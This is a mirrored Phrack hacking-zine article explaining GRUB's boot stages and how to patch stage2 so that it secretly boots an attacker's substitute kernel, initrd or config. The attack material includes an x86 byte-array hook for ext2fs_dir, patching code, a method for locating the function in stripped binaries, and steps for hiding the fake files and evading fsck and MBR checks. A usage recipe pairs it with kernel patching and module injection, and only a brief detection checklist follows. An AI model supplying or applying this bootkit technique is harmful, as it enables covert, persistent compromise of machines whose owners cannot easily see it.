mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
885 lines
42 KiB
Text
885 lines
42 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14
|
||
|
|
||
|
|=-----------------=[ Hacking Grub for fun and profit ]=-----------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=---------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
0.0 - Trojan/backdoor/rootkit review
|
||
|
|
||
|
1.0 - Boot process with Grub
|
||
|
1.1 How does Grub work ?
|
||
|
1.2 stage1
|
||
|
1.3 stage1.5 & stage2
|
||
|
1.4 Grub util
|
||
|
|
||
|
2.0 - Possibility to load specified file
|
||
|
|
||
|
3.0 - Hacking techniques
|
||
|
3.1 How to load file_fake
|
||
|
3.2 How to locate ext2fs_dir
|
||
|
3.3 How to hack grub
|
||
|
3.4 How to make things sneaky
|
||
|
|
||
|
4.0 - Usage
|
||
|
|
||
|
5.0 - Detection
|
||
|
|
||
|
6.0 - At the end
|
||
|
|
||
|
7.0 - Ref
|
||
|
|
||
|
8.0 - hack_grub.tar.gz
|
||
|
|
||
|
--[ 0.0 - Trojan/backdoor/rootkits review
|
||
|
|
||
|
Since 1989 when the first log-editing tool appeared(Phrack 0x19 #6 -
|
||
|
Hiding out under Unix), the trojan/backdoor/rootkit have evolved greatly.
|
||
|
From the early user-mode tools such as LRK4/5, to kernel-mode ones such as
|
||
|
knark/adore/adore-ng, then appears SuckIT, module-injection, nowadays even
|
||
|
static kernel-patching.
|
||
|
Think carefully, what remains untouched? Yes, that's bootloader.
|
||
|
So, in this paper, I present a way to make Grub follow your order, that
|
||
|
is, it can load another kernel/initrd image/grub.conf despite the file you
|
||
|
specify in grub.conf.
|
||
|
|
||
|
P.S.: This paper is based on Linux and EXT2/3 under x86 system.
|
||
|
|
||
|
--[ 1.0 - Boot process with Grub
|
||
|
|
||
|
----[ 1.1 - How does Grub work ?
|
||
|
|
||
|
+-----------+
|
||
|
| boot,load |
|
||
|
| MBR |
|
||
|
+-----+-----+
|
||
|
|
|
||
|
+----------------+ NO
|
||
|
| Grub is in MBR +------->-------+
|
||
|
+-------+--------+ |
|
||
|
Yes | stage1 +-------+--------+
|
||
|
Yes +--------+---------+ | jump to active |
|
||
|
+--<---+ stage1.5 config? | | partition |
|
||
|
| +--------+---------+ +-------+--------+
|
||
|
| No | |
|
||
|
+-------+-------+ | | +-----+-----+
|
||
|
| load embedded | | stage1-> | load boot |
|
||
|
| sectors | | | | sector |
|
||
|
+-------+-------+ V +-----+-----+
|
||
|
^ | | + - - - < - - - + Cf 1.3
|
||
|
| | | +------+------+
|
||
|
stage1.5 +-------->------+--------->-------+ load stage2 +
|
||
|
+------+------+
|
||
|
|
|
||
|
+---------------<--------+
|
||
|
V
|
||
|
+-----------+-----------+
|
||
|
| load the grub.conf |
|
||
|
| display the boot menu |
|
||
|
+-----------+-----------+
|
||
|
| User interaction
|
||
|
+---------+---------+
|
||
|
| load kernel image |
|
||
|
| and boot |
|
||
|
+-------------------+
|
||
|
|
||
|
----[ 1.2 - stage1
|
||
|
|
||
|
stage1 is 512 Bytes, you can see its source code in stage1/stage1.S .
|
||
|
It's installed in MBR or in boot sector of primary partition. The task is
|
||
|
simple - load a specified sector (defined in stage2_sector) to a specified
|
||
|
address(defined in stage2_address/stage2_segment). If stage1.5 is
|
||
|
configured, the first sector of stage1.5 is loaded at address 0200:000; if
|
||
|
not, the first sector of stage2 is loaded at address 0800:0000.
|
||
|
|
||
|
----[ 1.3 - stage1.5 & stage2
|
||
|
|
||
|
We know Grub is file-system-sensitive loader, i.e. Grub can understand
|
||
|
and read files from different file-systems, without the help of OS. Then
|
||
|
how? The secret is stage1.5 & stage2. Take a glance at /boot/grub, you'll
|
||
|
find the following files:
|
||
|
stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5,
|
||
|
reiserfs_stage1_5, ...
|
||
|
We've mentioned stage1 in 1.2, the file stage1 will be installed in MBR
|
||
|
or in boot sector. So even if you delete file stage1, system boot are not
|
||
|
affected.
|
||
|
What about zeroing file stage2 and *_stage1_5? Can system still boot?
|
||
|
The answer is 'no' for the former and 'yes' for the latter. You're
|
||
|
wondering about the reason? Then continue your reading...
|
||
|
|
||
|
Let's see how *_stage1_5 and stage2 are generated:
|
||
|
|
||
|
-------------------------------- BEGIN -----------------------------------
|
||
|
e2fs_stage1_5:
|
||
|
gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
|
||
|
e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o
|
||
|
e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o
|
||
|
e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o
|
||
|
e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o
|
||
|
objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5
|
||
|
|
||
|
stage2:
|
||
|
gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200
|
||
|
pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o
|
||
|
pre_stage2_exec-builtins.o pre_stage2_exec-common.o
|
||
|
pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o
|
||
|
pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o
|
||
|
pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o
|
||
|
pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o
|
||
|
pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o
|
||
|
pre_stage2_exec-hercules.o pre_stage2_exec-serial.o
|
||
|
pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o
|
||
|
pre_stage2_exec-md5.o
|
||
|
objcopy -O binary pre_stage2.exec pre_stage2
|
||
|
cat start pre_stage2 > stage2
|
||
|
--------------------------------- END ------------------------------------
|
||
|
|
||
|
According to the output above, the layout should be:
|
||
|
e2fs_stage1_5:
|
||
|
[start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c]
|
||
|
[fsys_ext2fs.c] [bios.c]
|
||
|
stage2:
|
||
|
[start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c]
|
||
|
[cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c]
|
||
|
[fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c]
|
||
|
[hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]
|
||
|
|
||
|
We can see e2fs_stage1_5 and stage2 are similar. But e2fs_stage1_5 is
|
||
|
smaller, which contains basic modules(disk io, string handling, system
|
||
|
initialization, ext2/3 file system handling), while stage2 is all-in-one,
|
||
|
which contains all file system modules, display, encryption, etc.
|
||
|
|
||
|
start.S is very important for Grub. stage1 will load start.S to
|
||
|
0200:0000(if stage1_5 is configured) or 0800:0000(if not), then jump to
|
||
|
it. The task of start.S is simple(only 512Byte),it will load the rest parts
|
||
|
of stage1_5 or stage2 to memory. The question is, since the file-system
|
||
|
related code hasn't been loaded, how can grub know the location of the rest
|
||
|
sectors? start.S makes a trick:
|
||
|
|
||
|
-------------------------------- BEGIN -----------------------------------
|
||
|
blocklist_default_start:
|
||
|
.long 2 /* this is the sector start parameter, in logical
|
||
|
sectors from the start of the disk, sector 0 */
|
||
|
blocklist_default_len: /* this is the number of sectors to read */
|
||
|
#ifdef STAGE1_5
|
||
|
.word 0 /* the command "install" will fill this up */
|
||
|
#else
|
||
|
.word (STAGE2_SIZE + 511) >> 9
|
||
|
#endif
|
||
|
blocklist_default_seg:
|
||
|
#ifdef STAGE1_5
|
||
|
.word 0x220
|
||
|
#else
|
||
|
.word 0x820 /* this is the segment of the starting address
|
||
|
to load the data into */
|
||
|
#endif
|
||
|
firstlist: /* this label has to be after the list data!!! */
|
||
|
--------------------------------- END ------------------------------------
|
||
|
|
||
|
an example:
|
||
|
# hexdump -x -n 512 /boot/grub/stage2
|
||
|
...
|
||
|
00001d0 [ 0000 0000 0000 0000 ][ 0000 0000 0000 0000 ]
|
||
|
00001e0 [ 62c7 0026 0064 1600 ][ 62af 0026 0010 1400 ]
|
||
|
00001f0 [ 6287 0026 0020 1000 ][ 61d0 0026 003f 0820 ]
|
||
|
|
||
|
We should interpret(backwards) it as: load 0x3f sectors(start with No.
|
||
|
0x2661d0) to 0x0820:0000, load 0x20 sectors(start with No.0x266287) to
|
||
|
0x1000:0000, load 0x10 sectors(start with No.0x2662af) to 0x1400:00, load
|
||
|
0x64 sectors(start with No.0x2662c7) to 0x1600:0000.
|
||
|
In my distro, stage2 has 0xd4(1+0x3f+0x20+0x10+0x64) sectors, file size
|
||
|
is 108328 bytes, the two matches well(sector size is 512).
|
||
|
|
||
|
When start.S finishes running, stage1_5/stage2 is fully loaded. start.S
|
||
|
jumps to asm.S and continues to execute.
|
||
|
|
||
|
There still remains a problem, when is stage1.5 configured? In fact,
|
||
|
stage1.5 is not necessary. Its task is to load /boot/grub/stage2 to
|
||
|
memory. But pay attention, stage1.5 uses file system to load file stage2:
|
||
|
It analyzes the dentry, gets stage2's inode, then stage2's blocklists. So
|
||
|
if stage1.5 is configured, the stage2 is loaded via file system; if not,
|
||
|
stage2 is loaded via both stage2_sector in stage1 and sector lists in
|
||
|
start.S of stage2.
|
||
|
To make things clear, suppose the following scenario: (ext2/ext3)
|
||
|
# mv /boot/grub/stage2 /boot/grub/stage2.bak
|
||
|
If stage1.5 is configured, the boot fails, stage1.5 can't find
|
||
|
/boot/grub/stage2 in the file-system. But if stage1.5 is not configured,
|
||
|
the boot succeeds! That's because mv doesn't change stage2's physical
|
||
|
layout, so stage2_sector remains the same, also the sector lists in stage2.
|
||
|
|
||
|
Now, stage1 (-> stage1.5) -> stage2. Everything is in position. asm.S
|
||
|
will switch to protected mode, open /boot/grub/grub.conf(or menu.lst), get
|
||
|
configuration, display menus, and wait for user's interaction. After user
|
||
|
chooses the kernel, grub loads the specified kernel image(sometimes
|
||
|
ramdisk image also), then boots the kernel.
|
||
|
|
||
|
----[ 1.4 - Grub util
|
||
|
|
||
|
If your grub is overwritten by Windows, you can use grub util to
|
||
|
reinstall grub.
|
||
|
|
||
|
# grub
|
||
|
---
|
||
|
grub > find /grub/stage2 <- if you have boot partition
|
||
|
or
|
||
|
grub > find /boot/grub/stage2 <- if you don't have boot partition
|
||
|
---
|
||
|
(hd0,0) <= the result of 'find'
|
||
|
grub > root (hd0,0) <- set root of boot partition
|
||
|
---
|
||
|
grub > setup (hd0) <- if you want to install grub in mbr
|
||
|
or
|
||
|
grub > setup (hd0,0) <- if you want to install grub in the
|
||
|
--- boot sector
|
||
|
Checking if "/boot/grub/stage1" exists... yes
|
||
|
Checking if "/boot/grub/stage2" exists... yes
|
||
|
Checking if "/boot/grub/e2fs_stage1_t" exists... yes
|
||
|
Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are
|
||
|
embedded succeeded. <= if you install grub in boot sector,
|
||
|
this fails
|
||
|
Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p
|
||
|
(hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded
|
||
|
Done
|
||
|
|
||
|
We can see grub util tries to embed stage1.5 if possible. If grub is
|
||
|
installed in MBR, stage1.5 is located after MBR, 22 sectors in size. If
|
||
|
grub is installed in boot sector, there's not enough space to embed
|
||
|
stage1.5(superblock is at offset 0x400 for ext2/ext3 partition, only 0x200
|
||
|
for stage1.5), so the 'embed' command fails.
|
||
|
Refer to grub manual and source codes for more info.
|
||
|
|
||
|
--[ 2.0 - Possibility to load specified file
|
||
|
|
||
|
Grub has its own mini-file-system for ext2/3. It use grub_open(),
|
||
|
grub_read() and grub_close() to open/read/close a file. Now, take a look at
|
||
|
ext2fs_dir
|
||
|
|
||
|
/* preconditions: ext2fs_mount already executed, therefore supblk in buffer
|
||
|
* known as SUPERBLOCK
|
||
|
* returns: 0 if error, nonzero iff we were able to find the file
|
||
|
* successfully
|
||
|
* postconditions: on a nonzero return, buffer known as INODE contains the
|
||
|
* inode of the file we were trying to look up
|
||
|
* side effects: messes up GROUP_DESC buffer area
|
||
|
*/
|
||
|
int ext2fs_dir (char *dirname) {
|
||
|
int current_ino = EXT2_ROOT_INO; /*start at the root */
|
||
|
int updir_ino = current_ino; /* the parent of the current directory */
|
||
|
...
|
||
|
}
|
||
|
|
||
|
Suppose the line in grub.conf is:
|
||
|
kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
grub_open calls ext2fs_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"),
|
||
|
ext2fs_dir puts the inode info in INODE, then grub_read can use INODE to
|
||
|
get data of any offset(the map resides in INODE->i_blocks[] for direct
|
||
|
blocks).
|
||
|
|
||
|
The internal of ext2fs_dir is:
|
||
|
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ inode = EXT2_ROOT_INO, put inode info in INODE;
|
||
|
2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ find dentry in '/', then put the inode info of '/boot' in INODE;
|
||
|
3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ find dentry in '/boot', then put the inode info of
|
||
|
'/boot/vmlinuz-2.6.11' in INODE;
|
||
|
4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ the pointer is space, INODE is regular file,
|
||
|
returns 1(success), INODE contains info about
|
||
|
'/boot/vmlinuz-2.6.11'.
|
||
|
If we parasitize this code, and return inode info of file_fake, grub
|
||
|
will happily load file_fake, considering it as /boot/vmlinuz-2.6.11.
|
||
|
We can do this:
|
||
|
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ inode = EXT2_ROOT_INO;
|
||
|
2. boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ change it to 0x0, change EXT2_ROOT_INO to inode of file_fake;
|
||
|
3. boot/vmlinuz-2.6.11 ro root=/dev/hda1
|
||
|
^ EXT2_ROOT_INO(file_fake) info is in INODE, the pointer is 0x0,
|
||
|
INODE is regular file, returns 1.
|
||
|
|
||
|
Since we change the argument of ext2fs_dir, does it have side-effects?
|
||
|
Don't forget the latter part "ro root=/dev/hda1", it's the parameter passed
|
||
|
to kernel. Without it, the kernel won't boot correctly.
|
||
|
(P.S.: Just "cat/proc/cmdline" to see the parameter your kernel has.)
|
||
|
So, let's check the internal of "kernel=..."
|
||
|
kernel_func processes the "kernel=..." line
|
||
|
|
||
|
static int
|
||
|
kernel_func (char *arg, int flags)
|
||
|
{
|
||
|
...
|
||
|
/* Copy the command-line to MB_CMDLINE. */
|
||
|
grub_memmove (mb_cmdline, arg, len + 1);
|
||
|
kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags);
|
||
|
...
|
||
|
}
|
||
|
|
||
|
See? The arg and mb_cmdline have 2 copies of string
|
||
|
"/boot/vmlinuz-2.6.11 ro root=/dev/hda1" (there is no overlap, so in fact,
|
||
|
grub_memmove is the same as grub_memcpy). In load_image, you can find arg
|
||
|
and mb_cmdline don't mix with each other. So, the conclusion is - NO
|
||
|
side-effects. If you're not confident, you can add some codes to get things
|
||
|
back.
|
||
|
|
||
|
--[ 3.0 - Hacking techniques
|
||
|
|
||
|
The hacking techniques should be general for all grub versions(exclude
|
||
|
grub-ng) shipped with all Linux distros.
|
||
|
|
||
|
----[ 3.1 - How to load file_fake
|
||
|
|
||
|
We can add a jump at the beginning of ext2fs_dir, then make the first
|
||
|
character of ext2fs_dir's argument to 0, make "current_ino = EXT2_ROOT_INO"
|
||
|
to "current_ino = INODE_OF_FAKE_FILE", then jump back.
|
||
|
Attention: Only when certain condition is met can you load file_fake.
|
||
|
e.g.: When system wants to open /boot/vmlinuz-2.6.11, then /boot/file_fake
|
||
|
is returned; while when system wants /boot/grub/grub.conf, the correct file
|
||
|
should be returned. If the codes still return /boot/file_fake, oops, no
|
||
|
menu display.
|
||
|
Jump is easy, but how to make "current_ino = INODE_OF_FAKE_FILE"?
|
||
|
int ext2fs_dir (char *dirname) {
|
||
|
int current_ino = EXT2_ROOT_INO; /*start at the root */
|
||
|
int updir_ino = current_ino; /* the parent of the current directory */
|
||
|
...
|
||
|
EXT2_ROOT_INO is 2, so current_ino and updir_ino are initialized to 2.
|
||
|
The correspondent assembly code should be like "movl $2, 0xffffXXXX($esp)"
|
||
|
But keep in mind of optimization: both current_ino and updir_ino are
|
||
|
assigned to 2, the optimized result can be "movl $2, 0xffffXXXX($esp)"
|
||
|
and "movl $2, 0xffffYYYY($esp)", or "movl $2, %reg" then "movl %reg,
|
||
|
0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", or more variants. The type
|
||
|
is int, value is 2, so the possibility of "xor %eax, %eax; inc %eax;
|
||
|
inc %eax" is low, it's also the same to "xor %eax, %eax; movb $0x2, %al".
|
||
|
What we need is to search 0x00000002 from ext2fs_dir to ext2fs_dir +
|
||
|
depth(e.g.: 100 bytes), then change 0x00000002 to INODE_OF_FAKE_FILE.
|
||
|
|
||
|
static char ext2_embed_code[] = {
|
||
|
|
||
|
0x60, /* pusha */
|
||
|
0x9c, /* pushf */
|
||
|
0xeb, 0x28, /* jmp 4f */
|
||
|
0x5f, /* 1: pop %edi */
|
||
|
0x8b, 0xf, /* movl (%edi), %ecx */
|
||
|
0x8b, 0x74, 0x24, 0x28, /* movl 40(%esp), %esi */
|
||
|
0x83, 0xc7, 0x4, /* addl $4, %edi */
|
||
|
0xf3, 0xa6, /* repz cmpsb %es:(%edi), %ds:(%esi) */
|
||
|
0x83, 0xf9, 0x0, /* cmp $0, %ecx */
|
||
|
0x74, 0x2, /* je 2f */
|
||
|
0xeb, 0xe, /* jmp 3f */
|
||
|
0x8b, 0x74, 0x24, 0x28, /* 2: movl 40(%esp), %esi */
|
||
|
0xc6, 0x6, 0x00, /* movb $0x0, (%esi) '\0' */
|
||
|
0x9d, /* popf */
|
||
|
0x61, /* popa */
|
||
|
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp change_inode */
|
||
|
0x9d, /* 3: popf */
|
||
|
0x61, /* popa */
|
||
|
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp not_change_inode */
|
||
|
0xe8, 0xd3, 0xff, 0xff, 0xff, /* 4: call 1b */
|
||
|
|
||
|
0x0, 0x0, 0x0, 0x0, /* kernel filename length */
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, /* filename string, 48B in all */
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||
|
0x0, 0x0, 0x0, 0x0, 0x0, 0x0
|
||
|
};
|
||
|
|
||
|
memcpy( buf_embed, ext2_embed_code, sizeof(ext2_embed_code));
|
||
|
Of course you can write your own string-comparison algorithm.
|
||
|
|
||
|
/* embeded code, 2nd part, change_inode */
|
||
|
memcpy( buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start);
|
||
|
modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();
|
||
|
|
||
|
/* embeded code, 3rd part, not_change_inode*/
|
||
|
memcpy( buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5,
|
||
|
s_start, s_mov_end - s_start);
|
||
|
|
||
|
The result is like this:
|
||
|
|
||
|
ext2fs_dir: not_change_inode:
|
||
|
+------------------------+ +--------> +------------------------+
|
||
|
| push %esp <= jmp embed | | | push %esp |
|
||
|
| mov %esp, %ebp | | | mov %esp, %ebp |
|
||
|
| push %edi | | | push %edi |
|
||
|
| push %esi +--------< | push %esi |
|
||
|
| sub $0x42c, %esp | | | sub $0x42c, %esp |
|
||
|
| mov $2, fffffbe4(%esp) | | | mov $2, fffffbe4(%esp) |
|
||
|
| mov $2, fffffbe0(%esp) | | | mov $2, fffffbe0(%esp) |
|
||
|
|back: | | | jmp back |
|
||
|
+------------------------+ | +------------------------+
|
||
|
embed: +--------> change_inode:
|
||
|
+------------------------+ +------------------------+
|
||
|
| save registers | | push %esp |
|
||
|
| compare strings | | mov %esp, %ebp |
|
||
|
| if match, goto 1 | | push %edi |
|
||
|
| if not, goto 2 | | push %esi |
|
||
|
| 1: restore registers | | sub $0x42c, %esp |
|
||
|
| jmp change_inode | INODE_OF_ -> | mov $?, fffffbe4(%esp) |
|
||
|
| 2: restore registers | FAKE_FILE -> | mov $?, fffffbe0(%esp) |
|
||
|
| jmp not_change_inode | | jmp back |
|
||
|
+------------------------+ +------------------------+
|
||
|
|
||
|
----[ 3.2 - How to locate ext2fs_dir
|
||
|
|
||
|
That's the difficult part. stage2 is generated by objcopy, so all ELF
|
||
|
information are stripped - NO SYMBOL TABLE! We must find some PATTERNs to
|
||
|
locate ext2fs_dir.
|
||
|
|
||
|
The first choice is log2:
|
||
|
#define long2(n) ffz(~(n))
|
||
|
static __inline__ unsigned long
|
||
|
ffz (unsigned long word)
|
||
|
{
|
||
|
__asm__ ("bsfl %1, %0"
|
||
|
:"=r" (word)
|
||
|
:"r" (~word));
|
||
|
return word;
|
||
|
}
|
||
|
group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK));
|
||
|
|
||
|
The question is, ffz is declared as __inline__, which indicates MAYBE
|
||
|
this function is inlined, MAYBE not. So we give it up.
|
||
|
|
||
|
Next choice is SUPERBLOCK->s_inodes_per_group in
|
||
|
group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group);
|
||
|
#define RAW_ADDR(x) (x)
|
||
|
#define FSYS_BUF RAW_ADDR(0x68000)
|
||
|
#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF))
|
||
|
struct ext2_super_block{
|
||
|
...
|
||
|
__u32 s_inodes_per_group /* # Inodes per group */
|
||
|
...
|
||
|
}
|
||
|
|
||
|
Then we calculate SUPERBLOCK->s_inodes_per_group is at 0x68028. This
|
||
|
address only appears in ext2fs_dir, so the possibility of collision is low.
|
||
|
After locating 0x68028, we move backwards to get the start of ext2fs_dir.
|
||
|
Here comes another question, how to identify the start of ext2fs_dir? Of
|
||
|
course you can search backwards for 0xc3, likely it's ret. But what if it's
|
||
|
only part of an instruction such as operands? Also, sometimes, gcc adds
|
||
|
some junk codes to make function address aligned(4byte/8byte/16byte), then
|
||
|
how to skip these junk codes? Just list all the possible combinations?
|
||
|
This method is practical, but not ideal.
|
||
|
|
||
|
Now, we noticed fsys_table:
|
||
|
|
||
|
struct fsys_entry fsys_table[NUM_FSYS + 1] =
|
||
|
{
|
||
|
...
|
||
|
# ifdef FSYS_FAT
|
||
|
{"fat", fat_mount, fat_read, fat_dir, 0, 0},
|
||
|
# endif
|
||
|
# ifdef FSYS_EXT2FS
|
||
|
{"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0},
|
||
|
# endif
|
||
|
# ifdef FSYS_MINIX
|
||
|
{"minix", minix_mount, minix_read, minix_dir, 0, 0},
|
||
|
# endif
|
||
|
...
|
||
|
};
|
||
|
|
||
|
fsys_table is called like this:
|
||
|
|
||
|
if ((*(fsys_table[fsys_type].mount_func)) () != 1)
|
||
|
|
||
|
So, our trick is:
|
||
|
1. Search stage2 for string "ext2fs", get its offset, then convert it to
|
||
|
memory address(stage2 starts from 0800:0000) addr_1.
|
||
|
2. Search stage2 for addr_1, get its offset, then get next 5 integers
|
||
|
(A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0? If any one is "No",
|
||
|
goto 1 and continue search
|
||
|
3. Then C is memory address of ext2fs_dir, convert it to file offset. OK,
|
||
|
that's it.
|
||
|
|
||
|
----[ 3.3 - How to hack grub
|
||
|
|
||
|
OK, with the help of 3.1 and 3.2, we can hack grub very easily.
|
||
|
The first target is stage2. We get the start address of ext2fs_dir, add
|
||
|
a JMP to somewhere, then copy the embeded code. Then where is 'somewhere'?
|
||
|
Obviously, the tail of stage2 is not perfect, this will change the file
|
||
|
size. We can choose minix_dir as our target. What about fat_mount? It's
|
||
|
right behind ext2fs_dir. But the answer is NO! Take a look at "root ..."
|
||
|
|
||
|
root_func()->open_device()->attemp_mount()
|
||
|
for (fsys_type = 0; fsys_type < NUM_FSYS
|
||
|
&& (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);
|
||
|
|
||
|
Take a look at fsys_table, fat is ahead of ext2, so fat_mount is called
|
||
|
first. If fat_mount is modified, god knows the result. To make things safe,
|
||
|
we choose minix_dir.
|
||
|
|
||
|
Now, your stage2 can load file_fake. Size remains the same, but hash
|
||
|
value changed.
|
||
|
|
||
|
----[ 3.4 - How to make things sneaky
|
||
|
|
||
|
Why must we use /boot/grub/stage2? We can get stage1 jump to
|
||
|
stage2_fake(cp stage2 stage2_fake, modify stage2_fake), so stage2 remains
|
||
|
intact.
|
||
|
If you cp stage2 to stage2_fake, stage2_fake won't work. Remember the
|
||
|
sector lists in start.S? You have to change the lists to stage2_fake, not
|
||
|
the original stage2. You can retrieve the inode, get i_block[], then the
|
||
|
block lists are there(Don't forget to add the partition offset). You have
|
||
|
to bypass the VFS to get inode info, see [1].
|
||
|
Since you use stage2_fake, the correspondent address in stage1 should
|
||
|
be modified. If the stage1.5 is not installed, that's easy, you just change
|
||
|
stage2_sector from stage2_orig to stage2_fake(MBR is changed). If stage1.5
|
||
|
is installed and you're lazy and bold, you can skip stage1.5 - modify
|
||
|
stage2_address, stage2_sector, stage2_segment of stage1. This is risky,
|
||
|
because 1) If "virus detection" in BIOS is enabled, the MBR modification
|
||
|
will be detected 2) The "Grub stage1.5" & "Grub loading, please wait" will
|
||
|
change to "Grub stage2". It's flashy, can you notice it on your FAST PC?
|
||
|
If you really want to be sneaky, then you can hack stage1.5, using
|
||
|
similiar techniques like 3.1 and 3.2. Don't forget to change the sector
|
||
|
lists of stage1.5(start.S) - you have to append your embeded code at the
|
||
|
end.
|
||
|
You can make things more sneaky: make stage2_fake/kernel_fake hidden
|
||
|
from FS, e.g. erase its dentry from /boot/grub. Wanna anti-fsck? Move
|
||
|
inode_of_stage2 to inode_from_1_to_10. See [2]
|
||
|
|
||
|
--[ 4.0 - Usage
|
||
|
|
||
|
Combined with other techniques, see how powerful our hack_grub is.
|
||
|
Notes: All files should reside in the same partition!
|
||
|
1) Combined with static kernel patch
|
||
|
a) cp kernel.orig kernel.fake
|
||
|
b) static kernel patch with kernel.fake[3]
|
||
|
c) cp stage2 stage2.fake
|
||
|
d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake
|
||
|
e) hide kernel.fake and stage2.fake (optional)
|
||
|
2) Combined with module injection
|
||
|
a) cp initrd.img.orig initrd.img.fake
|
||
|
b) do module injection with initrd.img.fake, e.g. ext3.[k]o [4]
|
||
|
c) cp stage2 stage2.fake
|
||
|
d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake
|
||
|
e) hide initrd.img.fake and stage2.fake (optional)
|
||
|
3) Make a fake grub.conf
|
||
|
4) More...
|
||
|
|
||
|
--[ 5.0 - Detection
|
||
|
|
||
|
1) Keep an eye on MBR and the following 63 sectors, also primary boot
|
||
|
sectors.
|
||
|
2) If not 1,
|
||
|
a) if stage1.5 is configured, compare sectors from 3(absolute
|
||
|
address, MBR is sector No. 1) with /boot/grub/e2fs_stage1_5
|
||
|
b) if stage1.5 is not configured, see if stage2_sector points to
|
||
|
real /boot/grub/stage2 file
|
||
|
3) check the file consistency of e2fs_stage1_5 and stage2
|
||
|
4) if not 3 (Hey, are you a qualified sysadmin?)
|
||
|
if a) If you're suspicious about kernel, dump the kernel and make a
|
||
|
byte-to-byte with kernel on disk. See [5] for more
|
||
|
b) If you're suspicious about module, that's a hard challenge,
|
||
|
maybe you can dump it and disassemble it?
|
||
|
|
||
|
--[ 6.0 - At the end
|
||
|
|
||
|
Lilo is another boot loader, but it's file-system-insensitive. So Lilo
|
||
|
doesn't have built-in file-systems. It relies on /boot/bootsect.b and
|
||
|
/boot/map.b. So, if you're lazy, write a fake lilo.conf, which displays
|
||
|
a.img but loads b.img. Or, you can make lilo load /boot/map.b.fake. The
|
||
|
details depend on yourself. Do it!
|
||
|
|
||
|
Thanks to madsys & grip2 for help me solve some hard-to-crack things;
|
||
|
thanks to airsupply and other guys for stage2 samples (redhat 7.2/9/as3,
|
||
|
Fedora Core 2, gentoo, debian and ubuntu), thanks to zhtq for some comments
|
||
|
about paper-writing.
|
||
|
|
||
|
--[ 7.0 - Ref
|
||
|
|
||
|
[1] Design and Implementation of the Second Extended Filesystem
|
||
|
http://e2fsprogs.sourceforge.net/ext2intro.html
|
||
|
[2] ways to hide files in ext2/3 filesystem (Chinese)
|
||
|
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
|
||
|
Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1
|
||
|
[3] Static Kernel Patching
|
||
|
http://www.phrack.org/show.php?p=60&a=8
|
||
|
[4] Infecting Loadable Kernel Modules
|
||
|
http://www.phrack.org/show.php?p=61&a=10
|
||
|
[5] Ways to find 2.6 kernel rootkits (Chinese)
|
||
|
